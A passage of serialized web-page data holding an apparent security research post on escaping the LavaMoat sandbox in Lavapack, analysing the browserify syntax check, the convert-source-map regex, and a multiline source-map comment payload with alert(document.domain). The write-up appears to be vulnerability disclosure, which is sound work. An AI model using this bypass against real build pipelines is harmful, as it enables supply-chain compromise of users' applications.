2\n\nalert(document.domain)\n",[1220],{"type":21,"tag":194,"props":1221,"children":1222},{"__ignoreMap":7},[1223,1237,1250,1263,1276,1284],{"type":21,"tag":198,"props":1224,"children":1225},{"class":200,"line":201},[1226,1231],{"type":21,"tag":198,"props":1227,"children":1228},{"style":211},[1229],{"type":27,"value":1230}," } ",{"type":21,"tag":198,"props":1232,"children":1234},{"style":1233},"--shiki-default:#6A9955",[1235],{"type":27,"value":1236},"// end function 1\n",{"type":21,"tag":198,"props":1238,"children":1239},{"class":200,"line":217},[1240,1245],{"type":21,"tag":198,"props":1241,"children":1242},{"style":211},[1243],{"type":27,"value":1244}," } ",{"type":21,"tag":198,"props":1246,"children":1247},{"style":1233},[1248],{"type":27,"value":1249},"// end function 2\n",{"type":21,"tag":198,"props":1251,"children":1252},{"class":200,"line":236},[1253,1258],{"type":21,"tag":198,"props":1254,"children":1255},{"style":211},[1256],{"type":27,"value":1257}," } ",{"type":21,"tag":198,"props":1259,"children":1260},{"style":1233},[1261],{"type":27,"value":1262},"// end with 1\n",{"type":21,"tag":198,"props":1264,"children":1265},{"class":200,"line":260},[1266,1271],{"type":21,"tag":198,"props":1267,"children":1268},{"style":211},[1269],{"type":27,"value":1270},"} ",{"type":21,"tag":198,"props":1272,"children":1273},{"style":1233},[1274],{"type":27,"value":1275},"// end with 2\n",{"type":21,"tag":198,"props":1277,"children":1278},{"class":200,"line":281},[1279],{"type":21,"tag":198,"props":1280,"children":1281},{"emptyLinePlaceholder":16},[1282],{"type":27,"value":1283},"\n",{"type":21,"tag":198,"props":1285,"children":1286},{"class":200,"line":302},[1287,1292,1296,1301,1305,1310],{"type":21,"tag":198,"props":1288,"children":1289},{"style":698},[1290],{"type":27,"value":1291},"alert",{"type":21,"tag":198,"props":1293,"children":1294},{"style":211},[1295],{"type":27,"value":706},{"type":21,"tag":198,"props":1297,"children":1298},{"style":226},[1299],{"type":27,"value":1300},"document",{"type":21,"tag":198,"props":1302,"children":1303},{"style":211},[1304],{"type":27,"value":658},{"type":21,"tag":198,"props":1306,"children":1307},{"style":226},[1308],{"type":27,"value":1309},"domain",{"type":21,"tag":198,"props":1311,"children":1312},{"style":211},[1313],{"type":27,"value":789},{"type":21,"tag":30,"props":1315,"children":1316},{},[1317,1319,1325,1327,1334],{"type":27,"value":1318},"However, when we tried to bundle it, a ",{"type":21,"tag":194,"props":1320,"children":1322},{"className":1321},[],[1323],{"type":27,"value":1324},"ParseError",{"type":27,"value":1326}," was thrown. This is because Lavapack is a plugin of ",{"type":21,"tag":34,"props":1328,"children":1331},{"href":1329,"rel":1330},"https://github.com/browserify/browserify",[38],[1332],{"type":27,"value":1333},"browserify",{"type":27,"value":1335},", which has a syntax check before replacing the code.",{"type":21,"tag":30,"props":1337,"children":1338},{},[1339,1341,1347,1349,1355,1357,1363,1365,1370],{"type":27,"value":1340},"Looking deeper into browserify, we find it has a ",{"type":21,"tag":194,"props":1342,"children":1344},{"className":1343},[],[1345],{"type":27,"value":1346},"syntax",{"type":27,"value":1348}," stage on it's pipeline, and uses the ",{"type":21,"tag":194,"props":1350,"children":1352},{"className":1351},[],[1353],{"type":27,"value":1354},"syntax-error",{"type":27,"value":1356}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":21,"tag":194,"props":1358,"children":1360},{"className":1359},[],[1361],{"type":27,"value":1362},"pack",{"type":27,"value":1364}," stage on browserify pipeline, which comes after the ",{"type":21,"tag":194,"props":1366,"children":1368},{"className":1367},[],[1369],{"type":27,"value":1346},{"type":27,"value":1371},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":21,"tag":30,"props":1373,"children":1374},{},[1375],{"type":21,"tag":1376,"props":1377,"children":1380},"img",{"alt":1378,"src":1379},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":21,"tag":30,"props":1382,"children":1383},{},[1384,1385,1390,1392,1398],{"type":27,"value":534},{"type":21,"tag":194,"props":1386,"children":1388},{"className":1387},[],[1389],{"type":27,"value":1354},{"type":27,"value":1391}," package performs a syntax check by using ",{"type":21,"tag":194,"props":1393,"children":1395},{"className":1394},[],[1396],{"type":27,"value":1397},"eval",{"type":27,"value":1399}," with function hoisting:",{"type":21,"tag":187,"props":1401,"children":1403},{"className":189,"code":1402,"language":191,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[1404],{"type":21,"tag":194,"props":1405,"children":1406},{"__ignoreMap":7},[1407,1419,1471,1484,1491,1512,1556,1616,1658],{"type":21,"tag":198,"props":1408,"children":1409},{"class":200,"line":201},[1410,1415],{"type":21,"tag":198,"props":1411,"children":1412},{"style":640},[1413],{"type":27,"value":1414},"try",{"type":21,"tag":198,"props":1416,"children":1417},{"style":211},[1418],{"type":27,"value":233},{"type":21,"tag":198,"props":1420,"children":1421},{"class":200,"line":217},[1422,1427,1431,1436,1441,1446,1450,1455,1461,1466],{"type":21,"tag":198,"props":1423,"children":1424},{"style":698},[1425],{"type":27,"value":1426}," eval",{"type":21,"tag":198,"props":1428,"children":1429},{"style":211},[1430],{"type":27,"value":706},{"type":21,"tag":198,"props":1432,"children":1433},{"style":205},[1434],{"type":27,"value":1435},"'throw \"STOP\"; (function () { '",{"type":21,"tag":198,"props":1437,"children":1438},{"style":683},[1439],{"type":27,"value":1440}," +",{"type":21,"tag":198,"props":1442,"children":1443},{"style":226},[1444],{"type":27,"value":1445}," src",{"type":21,"tag":198,"props":1447,"children":1448},{"style":683},[1449],{"type":27,"value":1440},{"type":21,"tag":198,"props":1451,"children":1452},{"style":205},[1453],{"type":27,"value":1454}," '",{"type":21,"tag":198,"props":1456,"children":1458},{"style":1457},"--shiki-default:#D7BA7D",[1459],{"type":27,"value":1460},"\\n",{"type":21,"tag":198,"props":1462,"children":1463},{"style":205},[1464],{"type":27,"value":1465},"})()'",{"type":21,"tag":198,"props":1467,"children":1468},{"style":211},[1469],{"type":27,"value":1470},");\n",{"type":21,"tag":198,"props":1472,"children":1473},{"class":200,"line":236},[1474,1479],{"type":21,"tag":198,"props":1475,"children":1476},{"style":640},[1477],{"type":27,"value":1478}," return",{"type":21,"tag":198,"props":1480,"children":1481},{"style":211},[1482],{"type":27,"value":1483},";\n",{"type":21,"tag":198,"props":1485,"children":1486},{"class":200,"line":260},[1487],{"type":21,"tag":198,"props":1488,"children":1489},{"style":211},[1490],{"type":27,"value":1120},{"type":21,"tag":198,"props":1492,"children":1493},{"class":200,"line":281},[1494,1499,1503,1508],{"type":21,"tag":198,"props":1495,"children":1496},{"style":640},[1497],{"type":27,"value":1498},"catch",{"type":21,"tag":198,"props":1500,"children":1501},{"style":211},[1502],{"type":27,"value":648},{"type":21,"tag":198,"props":1504,"children":1505},{"style":226},[1506],{"type":27,"value":1507},"err",{"type":21,"tag":198,"props":1509,"children":1510},{"style":211},[1511],{"type":27,"value":668},{"type":21,"tag":198,"props":1513,"children":1514},{"class":200,"line":302},[1515,1519,1523,1527,1532,1537,1542,1547,1552],{"type":21,"tag":198,"props":1516,"children":1517},{"style":640},[1518],{"type":27,"value":643},{"type":21,"tag":198,"props":1520,"children":1521},{"style":211},[1522],{"type":27,"value":648},{"type":21,"tag":198,"props":1524,"children":1525},{"style":226},[1526],{"type":27,"value":1507},{"type":21,"tag":198,"props":1528,"children":1529},{"style":683},[1530],{"type":27,"value":1531}," ===",{"type":21,"tag":198,"props":1533,"children":1534},{"style":205},[1535],{"type":27,"value":1536}," 'STOP'",{"type":21,"tag":198,"props":1538,"children":1539},{"style":211},[1540],{"type":27,"value":1541},") ",{"type":21,"tag":198,"props":1543,"children":1544},{"style":640},[1545],{"type":27,"value":1546},"return",{"type":21,"tag":198,"props":1548,"children":1549},{"style":249},[1550],{"type":27,"value":1551}," undefined",{"type":21,"tag":198,"props":1553,"children":1554},{"style":211},[1555],{"type":27,"value":1483},{"type":21,"tag":198,"props":1557,"children":1558},{"class":200,"line":323},[1559,1563,1567,1571,1575,1580,1584,1589,1594,1599,1603,1607,1612],{"type":21,"tag":198,"props":1560,"children":1561},{"style":640},[1562],{"type":27,"value":643},{"type":21,"tag":198,"props":1564,"children":1565},{"style":211},[1566],{"type":27,"value":648},{"type":21,"tag":198,"props":1568,"children":1569},{"style":226},[1570],{"type":27,"value":1507},{"type":21,"tag":198,"props":1572,"children":1573},{"style":211},[1574],{"type":27,"value":658},{"type":21,"tag":198,"props":1576,"children":1577},{"style":226},[1578],{"type":27,"value":1579},"constructor",{"type":21,"tag":198,"props":1581,"children":1582},{"style":211},[1583],{"type":27,"value":658},{"type":21,"tag":198,"props":1585,"children":1586},{"style":226},[1587],{"type":27,"value":1588},"name",{"type":21,"tag":198,"props":1590,"children":1591},{"style":683},[1592],{"type":27,"value":1593}," !==",{"type":21,"tag":198,"props":1595,"children":1596},{"style":205},[1597],{"type":27,"value":1598}," 'SyntaxError'",{"type":21,"tag":198,"props":1600,"children":1601},{"style":211},[1602],{"type":27,"value":1541},{"type":21,"tag":198,"props":1604,"children":1605},{"style":640},[1606],{"type":27,"value":1546},{"type":21,"tag":198,"props":1608,"children":1609},{"style":226},[1610],{"type":27,"value":1611}," err",{"type":21,"tag":198,"props":1613,"children":1614},{"style":211},[1615],{"type":27,"value":1483},{"type":21,"tag":198,"props":1617,"children":1618},{"class":200,"line":344},[1619,1623,1628,1632,1637,1641,1645,1649,1654],{"type":21,"tag":198,"props":1620,"children":1621},{"style":640},[1622],{"type":27,"value":1478},{"type":21,"tag":198,"props":1624,"children":1625},{"style":698},[1626],{"type":27,"value":1627}," errorInfo",{"type":21,"tag":198,"props":1629,"children":1630},{"style":211},[1631],{"type":27,"value":706},{"type":21,"tag":198,"props":1633,"children":1634},{"style":226},[1635],{"type":27,"value":1636},"src",{"type":21,"tag":198,"props":1638,"children":1639},{"style":211},[1640],{"type":27,"value":828},{"type":21,"tag":198,"props":1642,"children":1643},{"style":226},[1644],{"type":27,"value":1011},{"type":21,"tag":198,"props":1646,"children":1647},{"style":211},[1648],{"type":27,"value":828},{"type":21,"tag":198,"props":1650,"children":1651},{"style":226},[1652],{"type":27,"value":1653},"opts",{"type":21,"tag":198,"props":1655,"children":1656},{"style":211},[1657],{"type":27,"value":1470},{"type":21,"tag":198,"props":1659,"children":1660},{"class":200,"line":365},[1661],{"type":21,"tag":198,"props":1662,"children":1663},{"style":211},[1664],{"type":27,"value":1120},{"type":21,"tag":30,"props":1666,"children":1667},{},[1668,1670,1676,1678,1684,1686,1691],{"type":27,"value":1669},"Interestingly, it ",{"type":21,"tag":1671,"props":1672,"children":1673},"em",{},[1674],{"type":27,"value":1675},"is",{"type":27,"value":1677}," possible to inject a ",{"type":21,"tag":194,"props":1679,"children":1681},{"className":1680},[],[1682],{"type":27,"value":1683},"}); (() => {",{"type":27,"value":1685}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":21,"tag":194,"props":1687,"children":1689},{"className":1688},[],[1690],{"type":27,"value":1186},{"type":27,"value":1692}," sandbox of Lavapack.",{"type":21,"tag":59,"props":1694,"children":1696},{"id":1695},"sourcemap-the-syntax-killer",[1697],{"type":27,"value":1698},"SourceMap: The Syntax Killer",{"type":21,"tag":30,"props":1700,"children":1701},{},[1702,1704,1711],{"type":27,"value":1703},"Lavapack has a feature to extract source maps files from the code using ",{"type":21,"tag":34,"props":1705,"children":1708},{"href":1706,"rel":1707},"https://www.npmjs.com/package/convert-source-map",[38],[1709],{"type":27,"value":1710},"convert-source-map",{"type":27,"value":1712}," npm package:",{"type":21,"tag":187,"props":1714,"children":1716},{"className":189,"code":1715,"language":191,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[1717],{"type":21,"tag":194,"props":1718,"children":1719},{"__ignoreMap":7},[1720,1745,1787,1795,1838,1879,1910],{"type":21,"tag":198,"props":1721,"children":1722},{"class":200,"line":201},[1723,1727,1732,1736,1741],{"type":21,"tag":198,"props":1724,"children":1725},{"style":249},[1726],{"type":27,"value":892},{"type":21,"tag":198,"props":1728,"children":1729},{"style":698},[1730],{"type":27,"value":1731}," extractSourceMaps",{"type":21,"tag":198,"props":1733,"children":1734},{"style":211},[1735],{"type":27,"value":706},{"type":21,"tag":198,"props":1737,"children":1738},{"style":226},[1739],{"type":27,"value":1740},"sourceCode",{"type":21,"tag":198,"props":1742,"children":1743},{"style":211},[1744],{"type":27,"value":668},{"type":21,"tag":198,"props":1746,"children":1747},{"class":200,"line":217},[1748,1752,1757,1761,1766,1770,1775,1779,1783],{"type":21,"tag":198,"props":1749,"children":1750},{"style":249},[1751],{"type":27,"value":969},{"type":21,"tag":198,"props":1753,"children":1754},{"style":226},[1755],{"type":27,"value":1756}," converter",{"type":21,"tag":198,"props":1758,"children":1759},{"style":683},[1760],{"type":27,"value":979},{"type":21,"tag":198,"props":1762,"children":1763},{"style":226},[1764],{"type":27,"value":1765}," convertSourceMap",{"type":21,"tag":198,"props":1767,"children":1768},{"style":211},[1769],{"type":27,"value":658},{"type":21,"tag":198,"props":1771,"children":1772},{"style":698},[1773],{"type":27,"value":1774},"fromSource",{"type":21,"tag":198,"props":1776,"children":1777},{"style":211},[1778],{"type":27,"value":706},{"type":21,"tag":198,"props":1780,"children":1781},{"style":226},[1782],{"type":27,"value":1740},{"type":21,"tag":198,"props":1784,"children":1785},{"style":211},[1786],{"type":27,"value":789},{"type":21,"tag":198,"props":1788,"children":1789},{"class":200,"line":236},[1790],{"type":21,"tag":198,"props":1791,"children":1792},{"style":1233},[1793],{"type":27,"value":1794}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":21,"tag":198,"props":1796,"children":1797},{"class":200,"line":260},[1798,1802,1807,1811,1815,1820,1824,1828,1833],{"type":21,"tag":198,"props":1799,"children":1800},{"style":249},[1801],{"type":27,"value":969},{"type":21,"tag":198,"props":1803,"children":1804},{"style":226},[1805],{"type":27,"value":1806}," maps",{"type":21,"tag":198,"props":1808,"children":1809},{"style":683},[1810],{"type":27,"value":979},{"type":21,"tag":198,"props":1812,"children":1813},{"style":226},[1814],{"type":27,"value":1756},{"type":21,"tag":198,"props":1816,"children":1817},{"style":683},[1818],{"type":27,"value":1819}," &&",{"type":21,"tag":198,"props":1821,"children":1822},{"style":226},[1823],{"type":27,"value":1756},{"type":21,"tag":198,"props":1825,"children":1826},{"style":211},[1827],{"type":27,"value":658},{"type":21,"tag":198,"props":1829,"children":1830},{"style":698},[1831],{"type":27,"value":1832},"toObject",{"type":21,"tag":198,"props":1834,"children":1835},{"style":211},[1836],{"type":27,"value":1837},"()\n",{"type":21,"tag":198,"props":1839,"children":1840},{"class":200,"line":281},[1841,1845,1850,1854,1858,1862,1867,1871,1875],{"type":21,"tag":198,"props":1842,"children":1843},{"style":249},[1844],{"type":27,"value":969},{"type":21,"tag":198,"props":1846,"children":1847},{"style":226},[1848],{"type":27,"value":1849}," code",{"type":21,"tag":198,"props":1851,"children":1852},{"style":683},[1853],{"type":27,"value":979},{"type":21,"tag":198,"props":1855,"children":1856},{"style":226},[1857],{"type":27,"value":1765},{"type":21,"tag":198,"props":1859,"children":1860},{"style":211},[1861],{"type":27,"value":658},{"type":21,"tag":198,"props":1863,"children":1864},{"style":698},[1865],{"type":27,"value":1866},"removeComments",{"type":21,"tag":198,"props":1868,"children":1869},{"style":211},[1870],{"type":27,"value":706},{"type":21,"tag":198,"props":1872,"children":1873},{"style":226},[1874],{"type":27,"value":1740},{"type":21,"tag":198,"props":1876,"children":1877},{"style":211},[1878],{"type":27,"value":789},{"type":21,"tag":198,"props":1880,"children":1881},{"class":200,"line":302},[1882,1887,1892,1896,1900,1905],{"type":21,"tag":198,"props":1883,"children":1884},{"style":640},[1885],{"type":27,"value":1886}," return",{"type":21,"tag":198,"props":1888,"children":1889},{"style":211},[1890],{"type":27,"value":1891}," { ",{"type":21,"tag":198,"props":1893,"children":1894},{"style":226},[1895],{"type":27,"value":194},{"type":21,"tag":198,"props":1897,"children":1898},{"style":211},[1899],{"type":27,"value":828},{"type":21,"tag":198,"props":1901,"children":1902},{"style":226},[1903],{"type":27,"value":1904},"maps",{"type":21,"tag":198,"props":1906,"children":1907},{"style":211},[1908],{"type":27,"value":1909}," }\n",{"type":21,"tag":198,"props":1911,"children":1912},{"class":200,"line":323},[1913],{"type":21,"tag":198,"props":1914,"children":1915},{"style":211},[1916],{"type":27,"value":1120},{"type":21,"tag":30,"props":1918,"children":1919},{},[1920,1922,1927,1929,1934],{"type":27,"value":1921},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":21,"tag":194,"props":1923,"children":1925},{"className":1924},[],[1926],{"type":27,"value":1346},{"type":27,"value":1928}," stage. Reviewing the ",{"type":21,"tag":194,"props":1930,"children":1932},{"className":1931},[],[1933],{"type":27,"value":1710},{"type":27,"value":1935}," code, we can see exactly how this happens.",{"type":21,"tag":187,"props":1937,"children":1939},{"className":189,"code":1938,"language":191,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[1940],{"type":21,"tag":194,"props":1941,"children":1942},{"__ignoreMap":7},[1943,1984,2011,2019,2242,2250,2258,2265,2300,2350],{"type":21,"tag":198,"props":1944,"children":1945},{"class":200,"line":201},[1946,1951,1955,1960,1964,1970,1974,1979],{"type":21,"tag":198,"props":1947,"children":1948},{"style":226},[1949],{"type":27,"value":1950},"Object",{"type":21,"tag":198,"props":1952,"children":1953},{"style":211},[1954],{"type":27,"value":658},{"type":21,"tag":198,"props":1956,"children":1957},{"style":698},[1958],{"type":27,"value":1959},"defineProperty",{"type":21,"tag":198,"props":1961,"children":1962},{"style":211},[1963],{"type":27,"value":706},{"type":21,"tag":198,"props":1965,"children":1967},{"style":1966},"--shiki-default:#4EC9B0",[1968],{"type":27,"value":1969},"exports",{"type":21,"tag":198,"props":1971,"children":1972},{"style":211},[1973],{"type":27,"value":828},{"type":21,"tag":198,"props":1975,"children":1976},{"style":205},[1977],{"type":27,"value":1978},"'commentRegex'",{"type":21,"tag":198,"props":1980,"children":1981},{"style":211},[1982],{"type":27,"value":1983},", {\n",{"type":21,"tag":198,"props":1985,"children":1986},{"class":200,"line":217},[1987,1992,1996,2001,2006],{"type":21,"tag":198,"props":1988,"children":1989},{"style":698},[1990],{"type":27,"value":1991}," get",{"type":21,"tag":198,"props":1993,"children":1994},{"style":226},[1995],{"type":27,"value":185},{"type":21,"tag":198,"props":1997,"children":1998},{"style":249},[1999],{"type":27,"value":2000}," function",{"type":21,"tag":198,"props":2002,"children":2003},{"style":698},[2004],{"type":27,"value":2005}," getCommentRegex",{"type":21,"tag":198,"props":2007,"children":2008},{"style":211},[2009],{"type":27,"value":2010}," () {\n",{"type":21,"tag":198,"props":2012,"children":2013},{"class":200,"line":236},[2014],{"type":21,"tag":198,"props":2015,"children":2016},{"style":1233},[2017],{"type":27,"value":2018}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":21,"tag":198,"props":2020,"children":2021},{"class":200,"line":260},[2022,2026,2032,2037,2042,2047,2052,2057,2062,2067,2072,2076,2081,2086,2091,2096,2101,2105,2110,2115,2120,2125,2130,2135,2140,2144,2148,2152,2157,2161,2165,2169,2173,2178,2183,2187,2192,2197,2201,2206,2210,2214,2219,2223,2228,2233,2238],{"type":21,"tag":198,"props":2023,"children":2024},{"style":640},[2025],{"type":27,"value":1478},{"type":21,"tag":198,"props":2027,"children":2029},{"style":2028},"--shiki-default:#D16969",[2030],{"type":27,"value":2031}," /",{"type":21,"tag":198,"props":2033,"children":2034},{"style":698},[2035],{"type":27,"value":2036},"^",{"type":21,"tag":198,"props":2038,"children":2039},{"style":2028},[2040],{"type":27,"value":2041},"\\s",{"type":21,"tag":198,"props":2043,"children":2044},{"style":1457},[2045],{"type":27,"value":2046},"*?\\/",{"type":21,"tag":198,"props":2048,"children":2049},{"style":205},[2050],{"type":27,"value":2051},"[",{"type":21,"tag":198,"props":2053,"children":2054},{"style":1457},[2055],{"type":27,"value":2056},"\\/\\*",{"type":21,"tag":198,"props":2058,"children":2059},{"style":205},[2060],{"type":27,"value":2061},"][",{"type":21,"tag":198,"props":2063,"children":2064},{"style":2028},[2065],{"type":27,"value":2066},"@#",{"type":21,"tag":198,"props":2068,"children":2069},{"style":205},[2070],{"type":27,"value":2071},"]",{"type":21,"tag":198,"props":2073,"children":2074},{"style":2028},[2075],{"type":27,"value":2041},{"type":21,"tag":198,"props":2077,"children":2078},{"style":1457},[2079],{"type":27,"value":2080},"+?",{"type":21,"tag":198,"props":2082,"children":2083},{"style":2028},[2084],{"type":27,"value":2085},"sourceMappingURL=data:",{"type":21,"tag":198,"props":2087,"children":2088},{"style":205},[2089],{"type":27,"value":2090},"(((?:",{"type":21,"tag":198,"props":2092,"children":2093},{"style":2028},[2094],{"type":27,"value":2095},"application",{"type":21,"tag":198,"props":2097,"children":2098},{"style":698},[2099],{"type":27,"value":2100},"|",{"type":21,"tag":198,"props":2102,"children":2103},{"style":2028},[2104],{"type":27,"value":27},{"type":21,"tag":198,"props":2106,"children":2107},{"style":205},[2108],{"type":27,"value":2109},")",{"type":21,"tag":198,"props":2111,"children":2112},{"style":1457},[2113],{"type":27,"value":2114},"\\/",{"type":21,"tag":198,"props":2116,"children":2117},{"style":2028},[2118],{"type":27,"value":2119},"json",{"type":21,"tag":198,"props":2121,"children":2122},{"style":205},[2123],{"type":27,"value":2124},")(?:",{"type":21,"tag":198,"props":2126,"children":2127},{"style":2028},[2128],{"type":27,"value":2129},";charset=",{"type":21,"tag":198,"props":2131,"children":2132},{"style":205},[2133],{"type":27,"value":2134},"([^",{"type":21,"tag":198,"props":2136,"children":2137},{"style":2028},[2138],{"type":27,"value":2139},";,",{"type":21,"tag":198,"props":2141,"children":2142},{"style":205},[2143],{"type":27,"value":2071},{"type":21,"tag":198,"props":2145,"children":2146},{"style":1457},[2147],{"type":27,"value":2080},{"type":21,"tag":198,"props":2149,"children":2150},{"style":205},[2151],{"type":27,"value":2109},{"type":21,"tag":198,"props":2153,"children":2154},{"style":1457},[2155],{"type":27,"value":2156},"?",{"type":21,"tag":198,"props":2158,"children":2159},{"style":205},[2160],{"type":27,"value":2109},{"type":21,"tag":198,"props":2162,"children":2163},{"style":1457},[2164],{"type":27,"value":2156},{"type":21,"tag":198,"props":2166,"children":2167},{"style":205},[2168],{"type":27,"value":2109},{"type":21,"tag":198,"props":2170,"children":2171},{"style":1457},[2172],{"type":27,"value":2156},{"type":21,"tag":198,"props":2174,"children":2175},{"style":205},[2176],{"type":27,"value":2177},"(?:",{"type":21,"tag":198,"props":2179,"children":2180},{"style":2028},[2181],{"type":27,"value":2182},";",{"type":21,"tag":198,"props":2184,"children":2185},{"style":205},[2186],{"type":27,"value":706},{"type":21,"tag":198,"props":2188,"children":2189},{"style":2028},[2190],{"type":27,"value":2191},"base64",{"type":21,"tag":198,"props":2193,"children":2194},{"style":205},[2195],{"type":27,"value":2196},"))",{"type":21,"tag":198,"props":2198,"children":2199},{"style":1457},[2200],{"type":27,"value":2156},{"type":21,"tag":198,"props":2202,"children":2203},{"style":2028},[2204],{"type":27,"value":2205},",",{"type":21,"tag":198,"props":2207,"children":2208},{"style":205},[2209],{"type":27,"value":706},{"type":21,"tag":198,"props":2211,"children":2212},{"style":2028},[2213],{"type":27,"value":658},{"type":21,"tag":198,"props":2215,"children":2216},{"style":1457},[2217],{"type":27,"value":2218},"*?",{"type":21,"tag":198,"props":2220,"children":2221},{"style":205},[2222],{"type":27,"value":2109},{"type":21,"tag":198,"props":2224,"children":2225},{"style":698},[2226],{"type":27,"value":2227},"$",{"type":21,"tag":198,"props":2229,"children":2230},{"style":2028},[2231],{"type":27,"value":2232},"/",{"type":21,"tag":198,"props":2234,"children":2235},{"style":249},[2236],{"type":27,"value":2237},"mg",{"type":21,"tag":198,"props":2239,"children":2240},{"style":211},[2241],{"type":27,"value":1483},{"type":21,"tag":198,"props":2243,"children":2244},{"class":200,"line":281},[2245],{"type":21,"tag":198,"props":2246,"children":2247},{"style":211},[2248],{"type":27,"value":2249}," }\n",{"type":21,"tag":198,"props":2251,"children":2252},{"class":200,"line":302},[2253],{"type":21,"tag":198,"props":2254,"children":2255},{"style":211},[2256],{"type":27,"value":2257},"});\n",{"type":21,"tag":198,"props":2259,"children":2260},{"class":200,"line":323},[2261],{"type":21,"tag":198,"props":2262,"children":2263},{"emptyLinePlaceholder":16},[2264],{"type":27,"value":1283},{"type":21,"tag":198,"props":2266,"children":2267},{"class":200,"line":344},[2268,2272,2276,2280,2284,2288,2292,2296],{"type":21,"tag":198,"props":2269,"children":2270},{"style":1966},[2271],{"type":27,"value":1969},{"type":21,"tag":198,"props":2273,"children":2274},{"style":211},[2275],{"type":27,"value":658},{"type":21,"tag":198,"props":2277,"children":2278},{"style":698},[2279],{"type":27,"value":1866},{"type":21,"tag":198,"props":2281,"children":2282},{"style":683},[2283],{"type":27,"value":979},{"type":21,"tag":198,"props":2285,"children":2286},{"style":249},[2287],{"type":27,"value":2000},{"type":21,"tag":198,"props":2289,"children":2290},{"style":211},[2291],{"type":27,"value":648},{"type":21,"tag":198,"props":2293,"children":2294},{"style":226},[2295],{"type":27,"value":1636},{"type":21,"tag":198,"props":2297,"children":2298},{"style":211},[2299],{"type":27,"value":668},{"type":21,"tag":198,"props":2301,"children":2302},{"class":200,"line":365},[2303,2307,2311,2315,2320,2324,2328,2332,2337,2341,2346],{"type":21,"tag":198,"props":2304,"children":2305},{"style":640},[2306],{"type":27,"value":1886},{"type":21,"tag":198,"props":2308,"children":2309},{"style":226},[2310],{"type":27,"value":1445},{"type":21,"tag":198,"props":2312,"children":2313},{"style":211},[2314],{"type":27,"value":658},{"type":21,"tag":198,"props":2316,"children":2317},{"style":698},[2318],{"type":27,"value":2319},"replace",{"type":21,"tag":198,"props":2321,"children":2322},{"style":211},[2323],{"type":27,"value":706},{"type":21,"tag":198,"props":2325,"children":2326},{"style":1966},[2327],{"type":27,"value":1969},{"type":21,"tag":198,"props":2329,"children":2330},{"style":211},[2331],{"type":27,"value":658},{"type":21,"tag":198,"props":2333,"children":2334},{"style":226},[2335],{"type":27,"value":2336},"commentRegex",{"type":21,"tag":198,"props":2338,"children":2339},{"style":211},[2340],{"type":27,"value":828},{"type":21,"tag":198,"props":2342,"children":2343},{"style":205},[2344],{"type":27,"value":2345},"''",{"type":21,"tag":198,"props":2347,"children":2348},{"style":211},[2349],{"type":27,"value":1470},{"type":21,"tag":198,"props":2351,"children":2352},{"class":200,"line":386},[2353],{"type":21,"tag":198,"props":2354,"children":2355},{"style":211},[2356],{"type":27,"value":2357},"};\n",{"type":21,"tag":30,"props":2359,"children":2360},{},[2361,2363,2369],{"type":27,"value":2362},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":21,"tag":194,"props":2364,"children":2366},{"className":2365},[],[2367],{"type":27,"value":2368},"/*",{"type":27,"value":2370},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":21,"tag":59,"props":2372,"children":2374},{"id":2373},"the-bypass",[2375],{"type":27,"value":2376},"The Bypass",{"type":21,"tag":30,"props":2378,"children":2379},{},[2380,2382,2387,2389,2394],{"type":27,"value":2381},"By abusing the ",{"type":21,"tag":194,"props":2383,"children":2385},{"className":2384},[],[2386],{"type":27,"value":1866},{"type":27,"value":2388}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":21,"tag":194,"props":2390,"children":2392},{"className":2391},[],[2393],{"type":27,"value":1186},{"type":27,"value":2395}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":21,"tag":187,"props":2397,"children":2399},{"className":189,"code":2398,"language":191,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[2400],{"type":21,"tag":194,"props":2401,"children":2402},{"__ignoreMap":7},[2403,2411,2418,2426,2434,2442,2450,2458,2466,2473,2481],{"type":21,"tag":198,"props":2404,"children":2405},{"class":200,"line":201},[2406],{"type":21,"tag":198,"props":2407,"children":2408},{"style":1233},[2409],{"type":27,"value":2410},"/*# sourceMappingURL=data:,{}\n",{"type":21,"tag":198,"props":2412,"children":2413},{"class":200,"line":217},[2414],{"type":21,"tag":198,"props":2415,"children":2416},{"emptyLinePlaceholder":16},[2417],{"type":27,"value":1283},{"type":21,"tag":198,"props":2419,"children":2420},{"class":200,"line":236},[2421],{"type":21,"tag":198,"props":2422,"children":2423},{"style":1233},[2424],{"type":27,"value":2425},"}}}}\n",{"type":21,"tag":198,"props":2427,"children":2428},{"class":200,"line":260},[2429],{"type":21,"tag":198,"props":2430,"children":2431},{"style":1233},[2432],{"type":27,"value":2433},"}, {\n",{"type":21,"tag":198,"props":2435,"children":2436},{"class":200,"line":281},[2437],{"type":21,"tag":198,"props":2438,"children":2439},{"style":1233},[2440],{"type":27,"value":2441}," package: 